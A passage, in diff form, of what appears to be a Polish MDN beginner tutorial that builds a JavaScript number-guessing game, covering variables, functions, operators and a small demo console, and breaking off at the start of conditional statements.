+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>meta</span> <span class="attr-name token">charset</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>utf-8<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>title</span><span class="punctuation token">&gt;</span></span>Number guessing game<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>title</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>style</span><span class="punctuation token">&gt;</span></span><span class="language-css style token">
+ <span class="selector token">html </span><span class="punctuation token">{</span>
+ <span class="property token">font-family</span><span class="punctuation token">:</span> sans-serif<span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+
+ <span class="selector token">body </span><span class="punctuation token">{</span>
+ <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">50%</span><span class="punctuation token">;</span>
+ <span class="property token">max-width</span><span class="punctuation token">:</span> <span class="number token">800</span>px<span class="punctuation token">;</span>
+ <span class="property token">min-width</span><span class="punctuation token">:</span> <span class="number token">480</span>px<span class="punctuation token">;</span>
+ <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">0</span> auto<span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+
+ <span class="selector token"><span class="class token">.lastResult</span> </span><span class="punctuation token">{</span>
+ <span class="property token">color</span><span class="punctuation token">:</span> white<span class="punctuation token">;</span>
+ <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">3</span>px<span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+ </span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>style</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>head</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>h1</span><span class="punctuation token">&gt;</span></span>Number guessing game<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>h1</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>We have selected a random number between 1 and 100. See if you can guess it in 10 turns or fewer. We'll tell you if your guess was too high or too low.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>form<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span> <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>guessField<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Enter a guess: <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>guessField<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>guessField<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span> <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>submit<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Submit guess<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>guessSubmit<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span> <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>resultParas<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>guesses<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>lastResult<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>lowOrHi<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span><span class="punctuation token">&gt;</span></span><span class="language-javascript script token">
+ <span class="comment token">// Your JavaScript goes here</span>
+ <span class="keyword token">let</span> randomNumber <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span>Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">*</span> <span class="number token">100</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="number token">1</span><span class="punctuation token">;</span>
+ <span class="keyword token">const</span> guesses <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.guesses'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">const</span> lastResult <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.lastResult'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">const</span> lowOrHi <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.lowOrHi'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">const</span> guessSubmit <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.guessSubmit'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">const</span> guessField <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.guessField'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">let</span> guessCount <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">;</span>
+ <span class="keyword token">let</span> resetButton<span class="punctuation token">;</span>
+
+ <span class="keyword token">function</span> <span class="function token">checkGuess</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">let</span> userGuess <span class="operator token">=</span> <span class="function token">Number</span><span class="punctuation token">(</span>guessField<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">if</span> <span class="punctuation token">(</span>guessCount <span class="operator token">===</span> <span class="number token">1</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ guesses<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">'Previous guesses: '</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+
+ guesses<span class="punctuation token">.</span>textContent <span class="operator token">+</span><span class="operator token">=</span> userGuess <span class="operator token">+</span> <span class="string token">' '</span><span class="punctuation token">;</span>
+
+ <span class="keyword token">if</span> <span class="punctuation token">(</span>userGuess <span class="operator token">===</span> randomNumber<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ lastResult<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">'Congratulations! You got it right!'</span><span class="punctuation token">;</span>
+ lastResult<span class="punctuation token">.</span>style<span class="punctuation token">.</span>backgroundColor <span class="operator token">=</span> <span class="string token">'green'</span><span class="punctuation token">;</span>
+ lowOrHi<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">''</span><span class="punctuation token">;</span>
+ <span class="function token">setGameOver</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>guessCount <span class="operator token">===</span> <span class="number token">10</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ lastResult<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">'!!!GAME OVER!!!'</span><span class="punctuation token">;</span>
+ lowOrHi<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">''</span><span class="punctuation token">;</span>
+ <span class="function token">setGameOver</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+ lastResult<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">'Wrong!'</span><span class="punctuation token">;</span>
+ lastResult<span class="punctuation token">.</span>style<span class="punctuation token">.</span>backgroundColor <span class="operator token">=</span> <span class="string token">'red'</span><span class="punctuation token">;</span>
+ <span class="keyword token">if</span><span class="punctuation token">(</span>userGuess <span class="operator token">&lt;</span> randomNumber<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ lowOrHi<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">'Last guess was too low!'</span> <span class="punctuation token">;</span>
+ <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="keyword token">if</span><span class="punctuation token">(</span>userGuess <span class="operator token">&gt;</span> randomNumber<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ lowOrHi<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">'Last guess was too high!'</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+ <span class="punctuation token">}</span>
+
+ guessCount<span class="operator token">++</span><span class="punctuation token">;</span>
+ guessField<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">''</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+
+ guessSubmit<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> checkGuess<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+ <span class="keyword token">function</span> <span class="function token">setGameOver</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ guessField<span class="punctuation token">.</span>disabled <span class="operator token">=</span> <span class="keyword token">true</span><span class="punctuation token">;</span>
+ guessSubmit<span class="punctuation token">.</span>disabled <span class="operator token">=</span> <span class="keyword token">true</span><span class="punctuation token">;</span>
+ resetButton <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'button'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ resetButton<span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">'Start new game'</span><span class="punctuation token">;</span>
+ document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>resetButton<span class="punctuation token">)</span><span class="punctuation token">;</span>
+ resetButton<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> resetGame<span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+
+ <span class="keyword token">function</span> <span class="function token">resetGame</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ guessCount <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">;</span>
+ <span class="keyword token">const</span> resetParas <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelectorAll</span><span class="punctuation token">(</span><span class="string token">'.resultParas p'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ <span class="keyword token">for</span><span class="punctuation token">(</span><span class="keyword token">let</span> i <span class="operator token">=</span> <span class="number token">0</span> <span class="punctuation token">;</span> i <span class="operator token">&lt;</span> resetParas<span class="punctuation token">.</span>length <span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ resetParas<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span>textContent <span class="operator token">=</span> <span class="string token">''</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+
+ resetButton<span class="punctuation token">.</span>parentNode<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span>resetButton<span class="punctuation token">)</span><span class="punctuation token">;</span>
+ guessField<span class="punctuation token">.</span>disabled <span class="operator token">=</span> <span class="keyword token">false</span><span class="punctuation token">;</span>
+ guessSubmit<span class="punctuation token">.</span>disabled <span class="operator token">=</span> <span class="keyword token">false</span><span class="punctuation token">;</span>
+ guessField<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">''</span><span class="punctuation token">;</span>
+ guessField<span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ lastResult<span class="punctuation token">.</span>style<span class="punctuation token">.</span>backgroundColor <span class="operator token">=</span> <span class="string token">'white'</span><span class="punctuation token">;</span>
+ randomNumber <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span>Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">*</span> <span class="number token">100</span><span class="punctuation token">)</span> <span class="operator token">+</span> <span class="number token">1</span><span class="punctuation token">;</span>
+ <span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+</div>
+
+<p>{{ EmbedLiveSample('Top_hidden_code', '100%', 320, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>Nie krępuj się - pograj sobie chwilę. Zwróć uwagę na elementy tej gry zanim przejdziesz dalej.</p>
+
+<p>Wyobraźmy sobie, że Twój szef postawił przed Tobą następujące zadanie:</p>
+
+<blockquote>
+<p>Chcę, żebyś napisał prostą grę typu "zgadnij liczbę". Gra powinna wybierać losową liczbę pomiędzy 1 a 100. Zadaniem gracza jest odgadnąć tę liczbę w najwyżej 10 próbach. Po każdej próbie gracz powinien otrzymać informację, czy zgadł, czy też nie i - jeśli nie odgadł, powinien dodatkowo dowiedzieć się, czy jego liczba miała wartość za małą, czy za dużą. Ponadto gracz powinien widzieć wybrane poprzednio przez siebie liczby. Gra ma się zakończyć gdy gracz poda prawidłową odpowiedź, lub gdy wykorzysta ostatnią próbę. Po zakończeniu gry gracz powinien mieć możliwośc rozpocząć ją od nowa.</p>
+</blockquote>
+
+<p>Zacznijmy od przedstawienia powyższego opisu w sposób bliższy myśleniu programisty i podzielmy go na proste pojedyncze zadania:</p>
+
+<ol>
+ <li>Wybierz losową liczbę z zakresu od 1 do 100.</li>
+ <li>Zapisz numer próby, którą podejmuje gracz. Zacznij od 1.</li>
+ <li>Podaj graczowi sposób, w jaki może odgadnąć tę liczbę.</li>
+ <li>Gdy padnie odpowiedź zapisz ją gdzieś, aby użytkownik mógł widzieć swoje poprzednie próby.</li>
+ <li>Sprawdź, czy padła prawidłowa odpowiedź.</li>
+ <li>Jeśli tak:
+ <ol>
+ <li>Wyświetl gratulacje.</li>
+ <li>Zablokuj możliwość podawania dalszych odpowiedzi (to mogłoby namieszać w grze).</li>
+ <li>Udostępnij narzędzie, którym gracz może ponownie uruchomić grę.</li>
+ </ol>
+ </li>
+ <li>Jeśli nie i graczowi pozostały jeszcze próby:
+ <ol>
+ <li>Poinformuj o nieprawidłowej odpowiedzi.</li>
+ <li>Pozwól podać kolejną odpowiedź.</li>
+ <li>Zwiększ numer próby gracza o 1.</li>
+ </ol>
+ </li>
+ <li>Jeśli nie i graczowi nie pozostała już ani jedna próba:
+ <ol>
+ <li>Poinformuj o zakończeniu gry.</li>
+ <li>Zablokuj możliwość podawania dalszych odpowiedzi (to mogłoby namieszać w grze).</li>
+ <li>Udostępnij narzędzie, którym gracz może ponownie uruchomić grę.</li>
+ </ol>
+ </li>
+ <li>Gdy gra uruchomi się ponownie, upewnij się, że dane z poprzedniej gry zostały całkowicie usunięte i interfejs powrócił do stanu początkowego. Przejdź do punktu nr 1.</li>
+</ol>
+
+<p>Zróbmy kolejny krok i spróbujmy zamienić powyższe punkty w kod, który zbuduje naszą grę. W ten sposób zobaczysz w działaniu kilka funcji JavaScript.</p>
+
+<h3 id="Przygotowanie">Przygotowanie</h3>
+
+<p>Aby rozpocząć pracę potrzebujesz mieć na swoim komputerze kopię pliku <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">number-guessing-game-start.html</a> (<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">see it live here</a>). Otwórz go w edytorze tekstowym i jednocześnie w swojej przeglądarce. Plik ten zawiera nagłówek, akapit z krótką instrukcją gry, oraz (jeszcze nie działający) formularz do wprowadzania odpowiedzi.</p>
+
+<p>Nasz kod będziemy pisać w bloku określonym znacznikiem {{htmlelement("script")}} u dołu pliku HTML:</p>
+
+<pre class="brush: html">&lt;script&gt;
+
+ // Twój kod JavaScript
+
+&lt;/script&gt;
+</pre>
+
+<h3 id="Pojemniki_na_dane_-_zmienne">Pojemniki na dane - zmienne</h3>
+
+<p>Zaczynamy. W pierwszej kolejności dodaj poniższe linijki kodu do bloku oznaczonego {{htmlelement("script")}}.</p>
+
+<pre class="brush: js">var randomNumber = Math.floor(Math.random() * 100) + 1;
+
+var guesses = document.querySelector('.guesses');
+var lastResult = document.querySelector('.lastResult');
+var lowOrHi = document.querySelector('.lowOrHi');
+
+var guessSubmit = document.querySelector('.guessSubmit');
+var guessField = document.querySelector('.guessField');
+
+var guessCount = 1;
+var resetButton;</pre>
+
+<p>Ta część kodu definiuje zmienne i stałe niezbędne do pracy programu. Najprościej rzecz ujmując, zmienne są pojemnikami na wartości takie jak liczby, czy ciągi znaków. Zmienną tworzymy używając słowo kluczowe <code>let</code> (lub <code>var</code>), po którym wpisujemy nazwę tej zmiennej. Następnie możemy tej zmiennej przypisać wartość. Robimy to za pomocą znaku równości (<code>=</code>), po którego prawej stronie wpisujemy żądaną wartość. Więcej informacji na temat różnic pomiędzy słowami kluczowymi <code>let</code> i <code>var</code> możesz znaleźć w <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables#The_difference_between_var_and_let">tym artykule</a>. Stałe natomiast mają za zadanie przechować dane, które mają się nie zmieniać i tworzy się je podobnie jak zmienne, ale przy użyciu słowa kluczowego <code>const</code>. W naszym przykładzie użyjemy stałych do przechowania odnośników (referencji) do poszczególnych części naszego interfejsu użytkownika. Tekst w niektórych z nich może w którymś momencie ulec zmianie, jednak bloki kodu HTML, do których odnoszą się nasze stałe pozostaną niezmienne.</p>
+
+<p>W naszym przykładzie:</p>
+
+<ul>
+ <li>Pierwsza zmienna — <code>randomNumber</code> — ma przypisaną losową liczbę z zakresu od 1 do 100, wybraną przez matematyczny algorytm.</li>
+ <li>Każda z trzech kolejnych stałych zawiera referencje do konkretnych paragrafów w naszym kodzie HTML. Zostaną one użyte do wstawienia odpowiednich wartości w dalszej części kodu:
+ <pre class="brush: html">&lt;p class="guesses"&gt;&lt;/p&gt;
+&lt;p class="lastResult"&gt;&lt;/p&gt;
+&lt;p class="lowOrHi"&gt;&lt;/p&gt;</pre>
+ </li>
+ <li>Następne dwie zmienne mają za zadanie przechować referencje do pola tekstowego i przycisku zatwierdzania odpowiedzi. Przydadzą się do wprowadzania i zatwierdzania kolejnych odpowiedzi gracza.
+ <pre class="brush: html">&lt;label for="guessField"&gt;Enter a guess: &lt;/label&gt;&lt;input type="text" id="guessField" class="guessField"&gt;
+&lt;input type="submit" value="Submit guess" class="guessSubmit"&gt;</pre>
+ </li>
+ <li>Nasze dwie ostatnie zmienne zawierają kolejno: wartość domyślną 1 (tej zmiennej użyjemy do liczenia ilości prób odpowiedzi), oraz referencję do przycisku "reset", który co prawda jeszcze nie istnieje, ale niebawem się to zmieni.</li>
+</ul>
+
+<div class="note">
+<p>Na temat zmiennych i stałych będziesz dowiadywał się coraz więcej w toku trwania kursu, począwszy już od <a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/variables">tego artykułu</a>.</p>
+</div>
+
+<h3 id="Funkcje">Funkcje</h3>
+
+<p>Wstaw następujący kod poniżej dodanego w poprzednim kroku:</p>
+
+<pre class="brush: js">function checkGuess() {
+ alert('I am a placeholder');
+}</pre>
+
+<p>Funkcje są blokami kodu "wielokrotnego użytku". Napisane raz, mogą być wywoływane wielokrotnie bez potrzeby ponownego pisania ich w całości. Ta cecha funkcji nie tylko oszczędza czas pisania kodu, ale również znacząco poprawia jego czytelność. Istnieje kilka sposobów definiowania funkcji. W tym przykładzie zajmiemy się jednym z prostszych. Rozpoczynamy od słowa kluczowego <code>function</code>, następnie piszemy nazwę naszej funkcji, a na jej końcu- nawiasy zwykłe. Potem wstawiamy dwa nawiasy klamrowe (<code>{ }</code>). To właśnie w nich zawarte jest ciało funkcji - kod, który będzie wykonywał się, ilekroć wywołamy tę funkcję.</p>
+
+<p>Funkcje wywołuje się pisząc jej nazwę wraz z nawiasami zwykłymi.</p>
+
+<p>Spróbujmy. Zapisz zmiany w swoim pliku z kodem i odśwież okno przeglądarki. Teraz przejdź do <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">konsoli JavaScript w narzędziach programisty</a> w przeglądarce i wprowadź tę linię:</p>
+
+<pre class="brush: js">checkGuess();</pre>
+
+<p>Po zatwierdzeniu klawiszem <kbd>Return</kbd>/<kbd>Enter</kbd>, powinno pojawić się okno alertu z tekstem: "<samp>I am a placeholder</samp>". Dzieje się tak, poniważ w naszym kodzie zdefiniowaliśmy funkcję, która uruchamia ten alert, kiedy tylko ją wywołamy.</p>
+
+<div class="note">
+<p>W  <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Functions">dalszej części kursu</a> dowiesz się znacznie więcej o funkcjach.</p>
+</div>
+
+<h3 id="Operatory">Operatory</h3>
+
+<p>Za pomocą operatorów w JavaScript możemy przeprowadzać porównania, dokonywać obliczeń, łączyć ze sobą ciągi znaków i robić wiele innych przydatnych rzeczy.</p>
+
+<p>Jeśli jeszcze nie zapisałeś zmian w swoim pliku z kodem, oraz nie odświeżyłeś okna przeglądarki, zrób to teraz. Otwórz <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">konsolę Javascript w narzędziach programisty</a> w przeglądarce. Teraz będziesz mógł sprawdzić działanie operatorów. Przepisz dokładnie każde z poleceń z kolumny "Example" i zatwierdź każde z nich klawiszem <kbd>Return</kbd>/<kbd>Enter</kbd>. Obserwuj wyniki. Jeśli z jakiegoś powodu nie masz dostępu do  narzędzi programistycznych w Twojej przeglądarce, możesz użyć poniższej prostej konsoli:</p>
+
+<div class="hidden">
+<h6 id="Hidden_code">Hidden code</h6>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="utf-8"&gt;
+ &lt;title&gt;JavaScript console&lt;/title&gt;
+ &lt;style&gt;
+ * {
+ box-sizing: border-box;
+ }
+
+ html {
+ background-color: #0C323D;
+ color: #809089;
+ font-family: monospace;
+ }
+
+ body {
+ max-width: 700px;
+ }
+
+ p {
+ margin: 0;
+ width: 1%;
+ padding: 0 1%;
+ font-size: 16px;
+ line-height: 1.5;
+ float: left;
+ }
+
+ .input p {
+ margin-right: 1%;
+ }
+
+ .output p {
+ width: 100%;
+ }
+
+ .input input {
+ width: 96%;
+ float: left;
+ border: none;
+ font-size: 16px;
+ line-height: 1.5;
+ font-family: monospace;
+ padding: 0;
+ background: #0C323D;
+ color: #809089;
+ }
+
+ div {
+ clear: both;
+ }
+
+ &lt;/style&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+
+
+ &lt;/body&gt;
+
+ &lt;script&gt;
+ var geval = eval;
+
+ function createInput() {
+ var inputDiv = document.createElement('div');
+ var inputPara = document.createElement('p');
+ var inputForm = document.createElement('input');
+
+ inputDiv.setAttribute('class','input');
+ inputPara.textContent = '&gt;';
+ inputDiv.appendChild(inputPara);
+ inputDiv.appendChild(inputForm);
+ document.body.appendChild(inputDiv);
+ inputDiv.focus();
+
+ if(document.querySelectorAll('div').length &gt; 1) {
+        inputForm.focus();
+      }
+
+ inputForm.addEventListener('change', executeCode);
+ }
+
+ function executeCode(e) {
+ try {
+ var result = geval(e.target.value);
+ } catch(e) {
+ var result = 'error — ' + e.message;
+ }
+
+ var outputDiv = document.createElement('div');
+ var outputPara = document.createElement('p');
+
+ outputDiv.setAttribute('class','output');
+ outputPara.textContent = 'Result: ' + result;
+ outputDiv.appendChild(outputPara);
+ document.body.appendChild(outputDiv);
+
+ e.target.disabled = true;
+ e.target.parentNode.style.opacity = '0.5';
+
+ createInput()
+ }
+
+ createInput();
+
+ &lt;/script&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>Najpierw zajmiemy się operatorami arytmetycznymi:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Operator</th>
+ <th scope="col">Name</th>
+ <th scope="col">Example</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>+</code></td>
+ <td>Dodawanie</td>
+ <td><code>6 + 9</code></td>
+ </tr>
+ <tr>
+ <td><code>-</code></td>
+ <td>Odejmowanie</td>
+ <td><code>20 - 15</code></td>
+ </tr>
+ <tr>
+ <td><code>*</code></td>
+ <td>Mnożenie</td>
+ <td><code>3 * 7</code></td>
+ </tr>
+ <tr>
+ <td><code>/</code></td>
+ <td>Dzielenie</td>
+ <td><code>10 / 5</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Operatora <code>+</code> możemy też użyć do łączenia ciągów znaków (takie działanie nazywa się w programowaniu <em>konkatenacją</em>). Wprowadź poniższe linie, oddzielając je klawiszem <code>Return / Enter </code>:</p>
+
+<pre class="brush: js">var name = 'Bingo';
+name;
+var hello = ' says hello!';
+hello;
+var greeting = name + hello;
+greeting;</pre>
+
+<p>Dostępne są również pewne ułatwiające życie skróty, zwane złożonymi <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">operatorami przypisania</a>. Jeśli na przykład chcielibyśmy w prosty sposób dodać nowy ciąg tekstowy do już istniejącego, możemy napisać tak:</p>
+
+<pre class="brush: js">name += ' says hello!';</pre>
+
+<p>Co jest równoznaczne z:</p>
+
+<pre class="brush: js">name = name + ' says hello!';</pre>
+
+<p>Kiedy dokonujemy sprawdzenia prawda / fałsz (na przykład w instrukcjach warunkowych - zobacz {{anch("Instrukcje warunkowe", "poniżej")}}) używamy <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">operatorów porównania</a>. Na przykład:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Operator</th>
+ <th scope="col">Name</th>
+ <th scope="col">Example</th>
+ </tr>
+ <tr>
+ <td><code>===</code></td>
+ <td>Ścisła równość (czy jest dokładnie tym samym?)</td>
+ <td><code>5 === 2 + 4</code></td>
+ </tr>
+ <tr>
+ <td><code>!==</code></td>
+ <td>Różne od (czy nie jest tym samym?)</td>
+ <td><code>'Chris' !== 'Ch' + 'ris'</code></td>
+ </tr>
+ <tr>
+ <td><code>&lt;</code></td>
+ <td>Mniejsze od</td>
+ <td><code>10 &lt; 6</code></td>
+ </tr>
+ <tr>
+ <td><code>&gt;</code></td>
+ <td>Większe od</td>
+ <td><code>10 &gt; 20</code></td>
+ </tr>
+ </thead>
+</table>
+
+<h3 id="Instrukcje_warunkowe"><a name="Instrukcje warunkowe">Instrukcje warunkowe</a></h3>
+
+<p>Wrócmy teraz do naszej funkcji <code>checkGuess()</code>.  Z pewnością lepiej mogłaby nam się przysłużyć, gdyby jej działanie nie ograniczało się tylko do wyświetlenia komunikatu "placeholder". Mamy dla niej o wiele ważniejsze zadanie - chcemy, by sprawdzała każdą odpowiedź gracza i odpowiednio reagowała.</p>
+
